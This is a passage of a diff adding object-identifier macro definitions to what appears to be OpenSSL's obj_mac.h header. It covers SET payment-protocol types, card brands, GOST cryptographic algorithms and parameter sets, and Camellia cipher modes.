SN_setct_CredRevReqTBSX "setct-CredRevReqTBSX" +#define NID_setct_CredRevReqTBSX 554 +#define OBJ_setct_CredRevReqTBSX OBJ_set_ctype,36L + +#define SN_setct_CredRevResData "setct-CredRevResData" +#define NID_setct_CredRevResData 555 +#define OBJ_setct_CredRevResData OBJ_set_ctype,37L + +#define SN_setct_PCertReqData "setct-PCertReqData" +#define NID_setct_PCertReqData 556 +#define OBJ_setct_PCertReqData OBJ_set_ctype,38L + +#define SN_setct_PCertResTBS "setct-PCertResTBS" +#define NID_setct_PCertResTBS 557 +#define OBJ_setct_PCertResTBS OBJ_set_ctype,39L + +#define SN_setct_BatchAdminReqData "setct-BatchAdminReqData" +#define NID_setct_BatchAdminReqData 558 +#define OBJ_setct_BatchAdminReqData OBJ_set_ctype,40L + +#define SN_setct_BatchAdminResData "setct-BatchAdminResData" +#define NID_setct_BatchAdminResData 559 +#define OBJ_setct_BatchAdminResData OBJ_set_ctype,41L + +#define SN_setct_CardCInitResTBS "setct-CardCInitResTBS" +#define NID_setct_CardCInitResTBS 560 +#define OBJ_setct_CardCInitResTBS OBJ_set_ctype,42L + +#define SN_setct_MeAqCInitResTBS "setct-MeAqCInitResTBS" +#define NID_setct_MeAqCInitResTBS 561 +#define OBJ_setct_MeAqCInitResTBS OBJ_set_ctype,43L + +#define SN_setct_RegFormResTBS "setct-RegFormResTBS" +#define NID_setct_RegFormResTBS 562 +#define OBJ_setct_RegFormResTBS OBJ_set_ctype,44L + +#define SN_setct_CertReqData "setct-CertReqData" +#define NID_setct_CertReqData 563 +#define OBJ_setct_CertReqData OBJ_set_ctype,45L + +#define SN_setct_CertReqTBS "setct-CertReqTBS" +#define NID_setct_CertReqTBS 564 +#define OBJ_setct_CertReqTBS OBJ_set_ctype,46L + +#define SN_setct_CertResData "setct-CertResData" +#define NID_setct_CertResData 565 +#define OBJ_setct_CertResData OBJ_set_ctype,47L + +#define SN_setct_CertInqReqTBS "setct-CertInqReqTBS" +#define NID_setct_CertInqReqTBS 566 +#define OBJ_setct_CertInqReqTBS OBJ_set_ctype,48L + +#define SN_setct_ErrorTBS "setct-ErrorTBS" +#define NID_setct_ErrorTBS 567 +#define OBJ_setct_ErrorTBS OBJ_set_ctype,49L + +#define SN_setct_PIDualSignedTBE "setct-PIDualSignedTBE" +#define NID_setct_PIDualSignedTBE 568 +#define OBJ_setct_PIDualSignedTBE OBJ_set_ctype,50L + +#define SN_setct_PIUnsignedTBE "setct-PIUnsignedTBE" +#define NID_setct_PIUnsignedTBE 569 +#define OBJ_setct_PIUnsignedTBE OBJ_set_ctype,51L + +#define SN_setct_AuthReqTBE "setct-AuthReqTBE" +#define NID_setct_AuthReqTBE 570 +#define OBJ_setct_AuthReqTBE OBJ_set_ctype,52L + +#define SN_setct_AuthResTBE "setct-AuthResTBE" +#define NID_setct_AuthResTBE 571 +#define OBJ_setct_AuthResTBE OBJ_set_ctype,53L + +#define SN_setct_AuthResTBEX "setct-AuthResTBEX" +#define NID_setct_AuthResTBEX 572 +#define OBJ_setct_AuthResTBEX OBJ_set_ctype,54L + +#define SN_setct_AuthTokenTBE "setct-AuthTokenTBE" +#define NID_setct_AuthTokenTBE 573 +#define OBJ_setct_AuthTokenTBE OBJ_set_ctype,55L + +#define SN_setct_CapTokenTBE "setct-CapTokenTBE" +#define NID_setct_CapTokenTBE 574 +#define OBJ_setct_CapTokenTBE OBJ_set_ctype,56L + +#define SN_setct_CapTokenTBEX "setct-CapTokenTBEX" +#define NID_setct_CapTokenTBEX 575 +#define OBJ_setct_CapTokenTBEX OBJ_set_ctype,57L + +#define SN_setct_AcqCardCodeMsgTBE "setct-AcqCardCodeMsgTBE" +#define NID_setct_AcqCardCodeMsgTBE 576 +#define OBJ_setct_AcqCardCodeMsgTBE OBJ_set_ctype,58L + +#define SN_setct_AuthRevReqTBE "setct-AuthRevReqTBE" +#define NID_setct_AuthRevReqTBE 577 +#define OBJ_setct_AuthRevReqTBE OBJ_set_ctype,59L + +#define SN_setct_AuthRevResTBE "setct-AuthRevResTBE" +#define NID_setct_AuthRevResTBE 578 +#define OBJ_setct_AuthRevResTBE OBJ_set_ctype,60L + +#define SN_setct_AuthRevResTBEB "setct-AuthRevResTBEB" +#define NID_setct_AuthRevResTBEB 579 +#define OBJ_setct_AuthRevResTBEB OBJ_set_ctype,61L + +#define SN_setct_CapReqTBE "setct-CapReqTBE" +#define NID_setct_CapReqTBE 580 +#define OBJ_setct_CapReqTBE OBJ_set_ctype,62L + +#define SN_setct_CapReqTBEX "setct-CapReqTBEX" +#define NID_setct_CapReqTBEX 581 +#define OBJ_setct_CapReqTBEX OBJ_set_ctype,63L + +#define SN_setct_CapResTBE "setct-CapResTBE" +#define NID_setct_CapResTBE 582 +#define OBJ_setct_CapResTBE OBJ_set_ctype,64L + +#define SN_setct_CapRevReqTBE "setct-CapRevReqTBE" +#define NID_setct_CapRevReqTBE 583 +#define OBJ_setct_CapRevReqTBE OBJ_set_ctype,65L + +#define SN_setct_CapRevReqTBEX "setct-CapRevReqTBEX" +#define NID_setct_CapRevReqTBEX 584 +#define OBJ_setct_CapRevReqTBEX OBJ_set_ctype,66L + +#define SN_setct_CapRevResTBE "setct-CapRevResTBE" +#define NID_setct_CapRevResTBE 585 +#define OBJ_setct_CapRevResTBE OBJ_set_ctype,67L + +#define SN_setct_CredReqTBE "setct-CredReqTBE" +#define NID_setct_CredReqTBE 586 +#define OBJ_setct_CredReqTBE OBJ_set_ctype,68L + +#define SN_setct_CredReqTBEX "setct-CredReqTBEX" +#define NID_setct_CredReqTBEX 587 +#define OBJ_setct_CredReqTBEX OBJ_set_ctype,69L + +#define SN_setct_CredResTBE "setct-CredResTBE" +#define NID_setct_CredResTBE 588 +#define OBJ_setct_CredResTBE OBJ_set_ctype,70L + +#define SN_setct_CredRevReqTBE "setct-CredRevReqTBE" +#define NID_setct_CredRevReqTBE 589 +#define OBJ_setct_CredRevReqTBE OBJ_set_ctype,71L + +#define SN_setct_CredRevReqTBEX "setct-CredRevReqTBEX" +#define NID_setct_CredRevReqTBEX 590 +#define OBJ_setct_CredRevReqTBEX OBJ_set_ctype,72L + +#define SN_setct_CredRevResTBE "setct-CredRevResTBE" +#define NID_setct_CredRevResTBE 591 +#define OBJ_setct_CredRevResTBE OBJ_set_ctype,73L + +#define SN_setct_BatchAdminReqTBE "setct-BatchAdminReqTBE" +#define NID_setct_BatchAdminReqTBE 592 +#define OBJ_setct_BatchAdminReqTBE OBJ_set_ctype,74L + +#define SN_setct_BatchAdminResTBE "setct-BatchAdminResTBE" +#define NID_setct_BatchAdminResTBE 593 +#define OBJ_setct_BatchAdminResTBE OBJ_set_ctype,75L + +#define SN_setct_RegFormReqTBE "setct-RegFormReqTBE" +#define NID_setct_RegFormReqTBE 594 +#define OBJ_setct_RegFormReqTBE OBJ_set_ctype,76L + +#define SN_setct_CertReqTBE "setct-CertReqTBE" +#define NID_setct_CertReqTBE 595 +#define OBJ_setct_CertReqTBE OBJ_set_ctype,77L + +#define SN_setct_CertReqTBEX "setct-CertReqTBEX" +#define NID_setct_CertReqTBEX 596 +#define OBJ_setct_CertReqTBEX OBJ_set_ctype,78L + +#define SN_setct_CertResTBE "setct-CertResTBE" +#define NID_setct_CertResTBE 597 +#define OBJ_setct_CertResTBE OBJ_set_ctype,79L + +#define SN_setct_CRLNotificationTBS "setct-CRLNotificationTBS" +#define NID_setct_CRLNotificationTBS 598 +#define OBJ_setct_CRLNotificationTBS OBJ_set_ctype,80L + +#define SN_setct_CRLNotificationResTBS "setct-CRLNotificationResTBS" +#define NID_setct_CRLNotificationResTBS 599 +#define OBJ_setct_CRLNotificationResTBS OBJ_set_ctype,81L + +#define SN_setct_BCIDistributionTBS "setct-BCIDistributionTBS" +#define NID_setct_BCIDistributionTBS 600 +#define OBJ_setct_BCIDistributionTBS OBJ_set_ctype,82L + +#define SN_setext_genCrypt "setext-genCrypt" +#define LN_setext_genCrypt "generic cryptogram" +#define NID_setext_genCrypt 601 +#define OBJ_setext_genCrypt OBJ_set_msgExt,1L + +#define SN_setext_miAuth "setext-miAuth" +#define LN_setext_miAuth "merchant initiated auth" +#define NID_setext_miAuth 602 +#define OBJ_setext_miAuth OBJ_set_msgExt,3L + +#define SN_setext_pinSecure "setext-pinSecure" +#define NID_setext_pinSecure 603 +#define OBJ_setext_pinSecure OBJ_set_msgExt,4L + +#define SN_setext_pinAny "setext-pinAny" +#define NID_setext_pinAny 604 +#define OBJ_setext_pinAny OBJ_set_msgExt,5L + +#define SN_setext_track2 "setext-track2" +#define NID_setext_track2 605 +#define OBJ_setext_track2 OBJ_set_msgExt,7L + +#define SN_setext_cv "setext-cv" +#define LN_setext_cv "additional verification" +#define NID_setext_cv 606 +#define OBJ_setext_cv OBJ_set_msgExt,8L + +#define SN_set_policy_root "set-policy-root" +#define NID_set_policy_root 607 +#define OBJ_set_policy_root OBJ_set_policy,0L + +#define SN_setCext_hashedRoot "setCext-hashedRoot" +#define NID_setCext_hashedRoot 608 +#define OBJ_setCext_hashedRoot OBJ_set_certExt,0L + +#define SN_setCext_certType "setCext-certType" +#define NID_setCext_certType 609 +#define OBJ_setCext_certType OBJ_set_certExt,1L + +#define SN_setCext_merchData "setCext-merchData" +#define NID_setCext_merchData 610 +#define OBJ_setCext_merchData OBJ_set_certExt,2L + +#define SN_setCext_cCertRequired "setCext-cCertRequired" +#define NID_setCext_cCertRequired 611 +#define OBJ_setCext_cCertRequired OBJ_set_certExt,3L + +#define SN_setCext_tunneling "setCext-tunneling" +#define NID_setCext_tunneling 612 +#define OBJ_setCext_tunneling OBJ_set_certExt,4L + +#define SN_setCext_setExt "setCext-setExt" +#define NID_setCext_setExt 613 +#define OBJ_setCext_setExt OBJ_set_certExt,5L + +#define SN_setCext_setQualf "setCext-setQualf" +#define NID_setCext_setQualf 614 +#define OBJ_setCext_setQualf OBJ_set_certExt,6L + +#define SN_setCext_PGWYcapabilities "setCext-PGWYcapabilities" +#define NID_setCext_PGWYcapabilities 615 +#define OBJ_setCext_PGWYcapabilities OBJ_set_certExt,7L + +#define SN_setCext_TokenIdentifier "setCext-TokenIdentifier" +#define NID_setCext_TokenIdentifier 616 +#define OBJ_setCext_TokenIdentifier OBJ_set_certExt,8L + +#define SN_setCext_Track2Data "setCext-Track2Data" +#define NID_setCext_Track2Data 617 +#define OBJ_setCext_Track2Data OBJ_set_certExt,9L + +#define SN_setCext_TokenType "setCext-TokenType" +#define NID_setCext_TokenType 618 +#define OBJ_setCext_TokenType OBJ_set_certExt,10L + +#define SN_setCext_IssuerCapabilities "setCext-IssuerCapabilities" +#define NID_setCext_IssuerCapabilities 619 +#define OBJ_setCext_IssuerCapabilities OBJ_set_certExt,11L + +#define SN_setAttr_Cert "setAttr-Cert" +#define NID_setAttr_Cert 620 +#define OBJ_setAttr_Cert OBJ_set_attr,0L + +#define SN_setAttr_PGWYcap "setAttr-PGWYcap" +#define LN_setAttr_PGWYcap "payment gateway capabilities" +#define NID_setAttr_PGWYcap 621 +#define OBJ_setAttr_PGWYcap OBJ_set_attr,1L + +#define SN_setAttr_TokenType "setAttr-TokenType" +#define NID_setAttr_TokenType 622 +#define OBJ_setAttr_TokenType OBJ_set_attr,2L + +#define SN_setAttr_IssCap "setAttr-IssCap" +#define LN_setAttr_IssCap "issuer capabilities" +#define NID_setAttr_IssCap 623 +#define OBJ_setAttr_IssCap OBJ_set_attr,3L + +#define SN_set_rootKeyThumb "set-rootKeyThumb" +#define NID_set_rootKeyThumb 624 +#define OBJ_set_rootKeyThumb OBJ_setAttr_Cert,0L + +#define SN_set_addPolicy "set-addPolicy" +#define NID_set_addPolicy 625 +#define OBJ_set_addPolicy OBJ_setAttr_Cert,1L + +#define SN_setAttr_Token_EMV "setAttr-Token-EMV" +#define NID_setAttr_Token_EMV 626 +#define OBJ_setAttr_Token_EMV OBJ_setAttr_TokenType,1L + +#define SN_setAttr_Token_B0Prime "setAttr-Token-B0Prime" +#define NID_setAttr_Token_B0Prime 627 +#define OBJ_setAttr_Token_B0Prime OBJ_setAttr_TokenType,2L + +#define SN_setAttr_IssCap_CVM "setAttr-IssCap-CVM" +#define NID_setAttr_IssCap_CVM 628 +#define OBJ_setAttr_IssCap_CVM OBJ_setAttr_IssCap,3L + +#define SN_setAttr_IssCap_T2 "setAttr-IssCap-T2" +#define NID_setAttr_IssCap_T2 629 +#define OBJ_setAttr_IssCap_T2 OBJ_setAttr_IssCap,4L + +#define SN_setAttr_IssCap_Sig "setAttr-IssCap-Sig" +#define NID_setAttr_IssCap_Sig 630 +#define OBJ_setAttr_IssCap_Sig OBJ_setAttr_IssCap,5L + +#define SN_setAttr_GenCryptgrm "setAttr-GenCryptgrm" +#define LN_setAttr_GenCryptgrm "generate cryptogram" +#define NID_setAttr_GenCryptgrm 631 +#define OBJ_setAttr_GenCryptgrm OBJ_setAttr_IssCap_CVM,1L + +#define SN_setAttr_T2Enc "setAttr-T2Enc" +#define LN_setAttr_T2Enc "encrypted track 2" +#define NID_setAttr_T2Enc 632 +#define OBJ_setAttr_T2Enc OBJ_setAttr_IssCap_T2,1L + +#define SN_setAttr_T2cleartxt "setAttr-T2cleartxt" +#define LN_setAttr_T2cleartxt "cleartext track 2" +#define NID_setAttr_T2cleartxt 633 +#define OBJ_setAttr_T2cleartxt OBJ_setAttr_IssCap_T2,2L + +#define SN_setAttr_TokICCsig "setAttr-TokICCsig" +#define LN_setAttr_TokICCsig "ICC or token signature" +#define NID_setAttr_TokICCsig 634 +#define OBJ_setAttr_TokICCsig OBJ_setAttr_IssCap_Sig,1L + +#define SN_setAttr_SecDevSig "setAttr-SecDevSig" +#define LN_setAttr_SecDevSig "secure device signature" +#define NID_setAttr_SecDevSig 635 +#define OBJ_setAttr_SecDevSig OBJ_setAttr_IssCap_Sig,2L + +#define SN_set_brand_IATA_ATA "set-brand-IATA-ATA" +#define NID_set_brand_IATA_ATA 636 +#define OBJ_set_brand_IATA_ATA OBJ_set_brand,1L + +#define SN_set_brand_Diners "set-brand-Diners" +#define NID_set_brand_Diners 637 +#define OBJ_set_brand_Diners OBJ_set_brand,30L + +#define SN_set_brand_AmericanExpress "set-brand-AmericanExpress" +#define NID_set_brand_AmericanExpress 638 +#define OBJ_set_brand_AmericanExpress OBJ_set_brand,34L + +#define SN_set_brand_JCB "set-brand-JCB" +#define NID_set_brand_JCB 639 +#define OBJ_set_brand_JCB OBJ_set_brand,35L + +#define SN_set_brand_Visa "set-brand-Visa" +#define NID_set_brand_Visa 640 +#define OBJ_set_brand_Visa OBJ_set_brand,4L + +#define SN_set_brand_MasterCard "set-brand-MasterCard" +#define NID_set_brand_MasterCard 641 +#define OBJ_set_brand_MasterCard OBJ_set_brand,5L + +#define SN_set_brand_Novus "set-brand-Novus" +#define NID_set_brand_Novus 642 +#define OBJ_set_brand_Novus OBJ_set_brand,6011L + +#define SN_des_cdmf "DES-CDMF" +#define LN_des_cdmf "des-cdmf" +#define NID_des_cdmf 643 +#define OBJ_des_cdmf OBJ_rsadsi,3L,10L + +#define SN_rsaOAEPEncryptionSET "rsaOAEPEncryptionSET" +#define NID_rsaOAEPEncryptionSET 644 +#define OBJ_rsaOAEPEncryptionSET OBJ_rsadsi,1L,1L,6L + +#define SN_ipsec3 "Oakley-EC2N-3" +#define LN_ipsec3 "ipsec3" +#define NID_ipsec3 749 + +#define SN_ipsec4 "Oakley-EC2N-4" +#define LN_ipsec4 "ipsec4" +#define NID_ipsec4 750 + +#define SN_whirlpool "whirlpool" +#define NID_whirlpool 804 +#define OBJ_whirlpool OBJ_iso,0L,10118L,3L,0L,55L + +#define SN_cryptopro "cryptopro" +#define NID_cryptopro 805 +#define OBJ_cryptopro OBJ_member_body,643L,2L,2L + +#define SN_cryptocom "cryptocom" +#define NID_cryptocom 806 +#define OBJ_cryptocom OBJ_member_body,643L,2L,9L + +#define SN_id_GostR3411_94_with_GostR3410_2001 "id-GostR3411-94-with-GostR3410-2001" +#define LN_id_GostR3411_94_with_GostR3410_2001 "GOST R 34.11-94 with GOST R 34.10-2001" +#define NID_id_GostR3411_94_with_GostR3410_2001 807 +#define OBJ_id_GostR3411_94_with_GostR3410_2001 OBJ_cryptopro,3L + +#define SN_id_GostR3411_94_with_GostR3410_94 "id-GostR3411-94-with-GostR3410-94" +#define LN_id_GostR3411_94_with_GostR3410_94 "GOST R 34.11-94 with GOST R 34.10-94" +#define NID_id_GostR3411_94_with_GostR3410_94 808 +#define OBJ_id_GostR3411_94_with_GostR3410_94 OBJ_cryptopro,4L + +#define SN_id_GostR3411_94 "md_gost94" +#define LN_id_GostR3411_94 "GOST R 34.11-94" +#define NID_id_GostR3411_94 809 +#define OBJ_id_GostR3411_94 OBJ_cryptopro,9L + +#define SN_id_HMACGostR3411_94 "id-HMACGostR3411-94" +#define LN_id_HMACGostR3411_94 "HMAC GOST 34.11-94" +#define NID_id_HMACGostR3411_94 810 +#define OBJ_id_HMACGostR3411_94 OBJ_cryptopro,10L + +#define SN_id_GostR3410_2001 "gost2001" +#define LN_id_GostR3410_2001 "GOST R 34.10-2001" +#define NID_id_GostR3410_2001 811 +#define OBJ_id_GostR3410_2001 OBJ_cryptopro,19L + +#define SN_id_GostR3410_94 "gost94" +#define LN_id_GostR3410_94 "GOST R 34.10-94" +#define NID_id_GostR3410_94 812 +#define OBJ_id_GostR3410_94 OBJ_cryptopro,20L + +#define SN_id_Gost28147_89 "gost89" +#define LN_id_Gost28147_89 "GOST 28147-89" +#define NID_id_Gost28147_89 813 +#define OBJ_id_Gost28147_89 OBJ_cryptopro,21L + +#define SN_gost89_cnt "gost89-cnt" +#define NID_gost89_cnt 814 + +#define SN_id_Gost28147_89_MAC "gost-mac" +#define LN_id_Gost28147_89_MAC "GOST 28147-89 MAC" +#define NID_id_Gost28147_89_MAC 815 +#define OBJ_id_Gost28147_89_MAC OBJ_cryptopro,22L + +#define SN_id_GostR3411_94_prf "prf-gostr3411-94" +#define LN_id_GostR3411_94_prf "GOST R 34.11-94 PRF" +#define NID_id_GostR3411_94_prf 816 +#define OBJ_id_GostR3411_94_prf OBJ_cryptopro,23L + +#define SN_id_GostR3410_2001DH "id-GostR3410-2001DH" +#define LN_id_GostR3410_2001DH "GOST R 34.10-2001 DH" +#define NID_id_GostR3410_2001DH 817 +#define OBJ_id_GostR3410_2001DH OBJ_cryptopro,98L + +#define SN_id_GostR3410_94DH "id-GostR3410-94DH" +#define LN_id_GostR3410_94DH "GOST R 34.10-94 DH" +#define NID_id_GostR3410_94DH 818 +#define OBJ_id_GostR3410_94DH OBJ_cryptopro,99L + +#define SN_id_Gost28147_89_CryptoPro_KeyMeshing "id-Gost28147-89-CryptoPro-KeyMeshing" +#define NID_id_Gost28147_89_CryptoPro_KeyMeshing 819 +#define OBJ_id_Gost28147_89_CryptoPro_KeyMeshing OBJ_cryptopro,14L,1L + +#define SN_id_Gost28147_89_None_KeyMeshing "id-Gost28147-89-None-KeyMeshing" +#define NID_id_Gost28147_89_None_KeyMeshing 820 +#define OBJ_id_Gost28147_89_None_KeyMeshing OBJ_cryptopro,14L,0L + +#define SN_id_GostR3411_94_TestParamSet "id-GostR3411-94-TestParamSet" +#define NID_id_GostR3411_94_TestParamSet 821 +#define OBJ_id_GostR3411_94_TestParamSet OBJ_cryptopro,30L,0L + +#define SN_id_GostR3411_94_CryptoProParamSet "id-GostR3411-94-CryptoProParamSet" +#define NID_id_GostR3411_94_CryptoProParamSet 822 +#define OBJ_id_GostR3411_94_CryptoProParamSet OBJ_cryptopro,30L,1L + +#define SN_id_Gost28147_89_TestParamSet "id-Gost28147-89-TestParamSet" +#define NID_id_Gost28147_89_TestParamSet 823 +#define OBJ_id_Gost28147_89_TestParamSet OBJ_cryptopro,31L,0L + +#define SN_id_Gost28147_89_CryptoPro_A_ParamSet "id-Gost28147-89-CryptoPro-A-ParamSet" +#define NID_id_Gost28147_89_CryptoPro_A_ParamSet 824 +#define OBJ_id_Gost28147_89_CryptoPro_A_ParamSet OBJ_cryptopro,31L,1L + +#define SN_id_Gost28147_89_CryptoPro_B_ParamSet "id-Gost28147-89-CryptoPro-B-ParamSet" +#define NID_id_Gost28147_89_CryptoPro_B_ParamSet 825 +#define OBJ_id_Gost28147_89_CryptoPro_B_ParamSet OBJ_cryptopro,31L,2L + +#define SN_id_Gost28147_89_CryptoPro_C_ParamSet "id-Gost28147-89-CryptoPro-C-ParamSet" +#define NID_id_Gost28147_89_CryptoPro_C_ParamSet 826 +#define OBJ_id_Gost28147_89_CryptoPro_C_ParamSet OBJ_cryptopro,31L,3L + +#define SN_id_Gost28147_89_CryptoPro_D_ParamSet "id-Gost28147-89-CryptoPro-D-ParamSet" +#define NID_id_Gost28147_89_CryptoPro_D_ParamSet 827 +#define OBJ_id_Gost28147_89_CryptoPro_D_ParamSet OBJ_cryptopro,31L,4L + +#define SN_id_Gost28147_89_CryptoPro_Oscar_1_1_ParamSet "id-Gost28147-89-CryptoPro-Oscar-1-1-ParamSet" +#define NID_id_Gost28147_89_CryptoPro_Oscar_1_1_ParamSet 828 +#define OBJ_id_Gost28147_89_CryptoPro_Oscar_1_1_ParamSet OBJ_cryptopro,31L,5L + +#define SN_id_Gost28147_89_CryptoPro_Oscar_1_0_ParamSet "id-Gost28147-89-CryptoPro-Oscar-1-0-ParamSet" +#define NID_id_Gost28147_89_CryptoPro_Oscar_1_0_ParamSet 829 +#define OBJ_id_Gost28147_89_CryptoPro_Oscar_1_0_ParamSet OBJ_cryptopro,31L,6L + +#define SN_id_Gost28147_89_CryptoPro_RIC_1_ParamSet "id-Gost28147-89-CryptoPro-RIC-1-ParamSet" +#define NID_id_Gost28147_89_CryptoPro_RIC_1_ParamSet 830 +#define OBJ_id_Gost28147_89_CryptoPro_RIC_1_ParamSet OBJ_cryptopro,31L,7L + +#define SN_id_GostR3410_94_TestParamSet "id-GostR3410-94-TestParamSet" +#define NID_id_GostR3410_94_TestParamSet 831 +#define OBJ_id_GostR3410_94_TestParamSet OBJ_cryptopro,32L,0L + +#define SN_id_GostR3410_94_CryptoPro_A_ParamSet "id-GostR3410-94-CryptoPro-A-ParamSet" +#define NID_id_GostR3410_94_CryptoPro_A_ParamSet 832 +#define OBJ_id_GostR3410_94_CryptoPro_A_ParamSet OBJ_cryptopro,32L,2L + +#define SN_id_GostR3410_94_CryptoPro_B_ParamSet "id-GostR3410-94-CryptoPro-B-ParamSet" +#define NID_id_GostR3410_94_CryptoPro_B_ParamSet 833 +#define OBJ_id_GostR3410_94_CryptoPro_B_ParamSet OBJ_cryptopro,32L,3L + +#define SN_id_GostR3410_94_CryptoPro_C_ParamSet "id-GostR3410-94-CryptoPro-C-ParamSet" +#define NID_id_GostR3410_94_CryptoPro_C_ParamSet 834 +#define OBJ_id_GostR3410_94_CryptoPro_C_ParamSet OBJ_cryptopro,32L,4L + +#define SN_id_GostR3410_94_CryptoPro_D_ParamSet "id-GostR3410-94-CryptoPro-D-ParamSet" +#define NID_id_GostR3410_94_CryptoPro_D_ParamSet 835 +#define OBJ_id_GostR3410_94_CryptoPro_D_ParamSet OBJ_cryptopro,32L,5L + +#define SN_id_GostR3410_94_CryptoPro_XchA_ParamSet "id-GostR3410-94-CryptoPro-XchA-ParamSet" +#define NID_id_GostR3410_94_CryptoPro_XchA_ParamSet 836 +#define OBJ_id_GostR3410_94_CryptoPro_XchA_ParamSet OBJ_cryptopro,33L,1L + +#define SN_id_GostR3410_94_CryptoPro_XchB_ParamSet "id-GostR3410-94-CryptoPro-XchB-ParamSet" +#define NID_id_GostR3410_94_CryptoPro_XchB_ParamSet 837 +#define OBJ_id_GostR3410_94_CryptoPro_XchB_ParamSet OBJ_cryptopro,33L,2L + +#define SN_id_GostR3410_94_CryptoPro_XchC_ParamSet "id-GostR3410-94-CryptoPro-XchC-ParamSet" +#define NID_id_GostR3410_94_CryptoPro_XchC_ParamSet 838 +#define OBJ_id_GostR3410_94_CryptoPro_XchC_ParamSet OBJ_cryptopro,33L,3L + +#define SN_id_GostR3410_2001_TestParamSet "id-GostR3410-2001-TestParamSet" +#define NID_id_GostR3410_2001_TestParamSet 839 +#define OBJ_id_GostR3410_2001_TestParamSet OBJ_cryptopro,35L,0L + +#define SN_id_GostR3410_2001_CryptoPro_A_ParamSet "id-GostR3410-2001-CryptoPro-A-ParamSet" +#define NID_id_GostR3410_2001_CryptoPro_A_ParamSet 840 +#define OBJ_id_GostR3410_2001_CryptoPro_A_ParamSet OBJ_cryptopro,35L,1L + +#define SN_id_GostR3410_2001_CryptoPro_B_ParamSet "id-GostR3410-2001-CryptoPro-B-ParamSet" +#define NID_id_GostR3410_2001_CryptoPro_B_ParamSet 841 +#define OBJ_id_GostR3410_2001_CryptoPro_B_ParamSet OBJ_cryptopro,35L,2L + +#define SN_id_GostR3410_2001_CryptoPro_C_ParamSet "id-GostR3410-2001-CryptoPro-C-ParamSet" +#define NID_id_GostR3410_2001_CryptoPro_C_ParamSet 842 +#define OBJ_id_GostR3410_2001_CryptoPro_C_ParamSet OBJ_cryptopro,35L,3L + +#define SN_id_GostR3410_2001_CryptoPro_XchA_ParamSet "id-GostR3410-2001-CryptoPro-XchA-ParamSet" +#define NID_id_GostR3410_2001_CryptoPro_XchA_ParamSet 843 +#define OBJ_id_GostR3410_2001_CryptoPro_XchA_ParamSet OBJ_cryptopro,36L,0L + +#define SN_id_GostR3410_2001_CryptoPro_XchB_ParamSet "id-GostR3410-2001-CryptoPro-XchB-ParamSet" +#define NID_id_GostR3410_2001_CryptoPro_XchB_ParamSet 844 +#define OBJ_id_GostR3410_2001_CryptoPro_XchB_ParamSet OBJ_cryptopro,36L,1L + +#define SN_id_GostR3410_94_a "id-GostR3410-94-a" +#define NID_id_GostR3410_94_a 845 +#define OBJ_id_GostR3410_94_a OBJ_id_GostR3410_94,1L + +#define SN_id_GostR3410_94_aBis "id-GostR3410-94-aBis" +#define NID_id_GostR3410_94_aBis 846 +#define OBJ_id_GostR3410_94_aBis OBJ_id_GostR3410_94,2L + +#define SN_id_GostR3410_94_b "id-GostR3410-94-b" +#define NID_id_GostR3410_94_b 847 +#define OBJ_id_GostR3410_94_b OBJ_id_GostR3410_94,3L + +#define SN_id_GostR3410_94_bBis "id-GostR3410-94-bBis" +#define NID_id_GostR3410_94_bBis 848 +#define OBJ_id_GostR3410_94_bBis OBJ_id_GostR3410_94,4L + +#define SN_id_Gost28147_89_cc "id-Gost28147-89-cc" +#define LN_id_Gost28147_89_cc "GOST 28147-89 Cryptocom ParamSet" +#define NID_id_Gost28147_89_cc 849 +#define OBJ_id_Gost28147_89_cc OBJ_cryptocom,1L,6L,1L + +#define SN_id_GostR3410_94_cc "gost94cc" +#define LN_id_GostR3410_94_cc "GOST 34.10-94 Cryptocom" +#define NID_id_GostR3410_94_cc 850 +#define OBJ_id_GostR3410_94_cc OBJ_cryptocom,1L,5L,3L + +#define SN_id_GostR3410_2001_cc "gost2001cc" +#define LN_id_GostR3410_2001_cc "GOST 34.10-2001 Cryptocom" +#define NID_id_GostR3410_2001_cc 851 +#define OBJ_id_GostR3410_2001_cc OBJ_cryptocom,1L,5L,4L + +#define SN_id_GostR3411_94_with_GostR3410_94_cc "id-GostR3411-94-with-GostR3410-94-cc" +#define LN_id_GostR3411_94_with_GostR3410_94_cc "GOST R 34.11-94 with GOST R 34.10-94 Cryptocom" +#define NID_id_GostR3411_94_with_GostR3410_94_cc 852 +#define OBJ_id_GostR3411_94_with_GostR3410_94_cc OBJ_cryptocom,1L,3L,3L + +#define SN_id_GostR3411_94_with_GostR3410_2001_cc "id-GostR3411-94-with-GostR3410-2001-cc" +#define LN_id_GostR3411_94_with_GostR3410_2001_cc "GOST R 34.11-94 with GOST R 34.10-2001 Cryptocom" +#define NID_id_GostR3411_94_with_GostR3410_2001_cc 853 +#define OBJ_id_GostR3411_94_with_GostR3410_2001_cc OBJ_cryptocom,1L,3L,4L + +#define SN_id_GostR3410_2001_ParamSet_cc "id-GostR3410-2001-ParamSet-cc" +#define LN_id_GostR3410_2001_ParamSet_cc "GOST R 3410-2001 Parameter Set Cryptocom" +#define NID_id_GostR3410_2001_ParamSet_cc 854 +#define OBJ_id_GostR3410_2001_ParamSet_cc OBJ_cryptocom,1L,8L,1L + +#define SN_camellia_128_cbc "CAMELLIA-128-CBC" +#define LN_camellia_128_cbc "camellia-128-cbc" +#define NID_camellia_128_cbc 751 +#define OBJ_camellia_128_cbc 1L,2L,392L,200011L,61L,1L,1L,1L,2L + +#define SN_camellia_192_cbc "CAMELLIA-192-CBC" +#define LN_camellia_192_cbc "camellia-192-cbc" +#define NID_camellia_192_cbc 752 +#define OBJ_camellia_192_cbc 1L,2L,392L,200011L,61L,1L,1L,1L,3L + +#define SN_camellia_256_cbc "CAMELLIA-256-CBC" +#define LN_camellia_256_cbc "camellia-256-cbc" +#define NID_camellia_256_cbc 753 +#define OBJ_camellia_256_cbc 1L,2L,392L,200011L,61L,1L,1L,1L,4L + +#define OBJ_ntt_ds 0L,3L,4401L,5L + +#define OBJ_camellia OBJ_ntt_ds,3L,1L,9L + +#define SN_camellia_128_ecb "CAMELLIA-128-ECB" +#define LN_camellia_128_ecb "camellia-128-ecb" +#define NID_camellia_128_ecb 754 +#define OBJ_camellia_128_ecb OBJ_camellia,1L + +#define SN_camellia_128_ofb128 "CAMELLIA-128-OFB" +#define LN_camellia_128_ofb128 "camellia-128-ofb" +#define NID_camellia_128_ofb128 766 +#define OBJ_camellia_128_ofb128 OBJ_camellia,3L + +#define SN_camellia_128_cfb128 "CAMELLIA-128-CFB" +#define LN_camellia_128_cfb128 "camellia-128-cfb" +#define NID_camellia_128_cfb128 757 +#define OBJ_camellia_128_cfb128 OBJ_camellia,4L + +#define 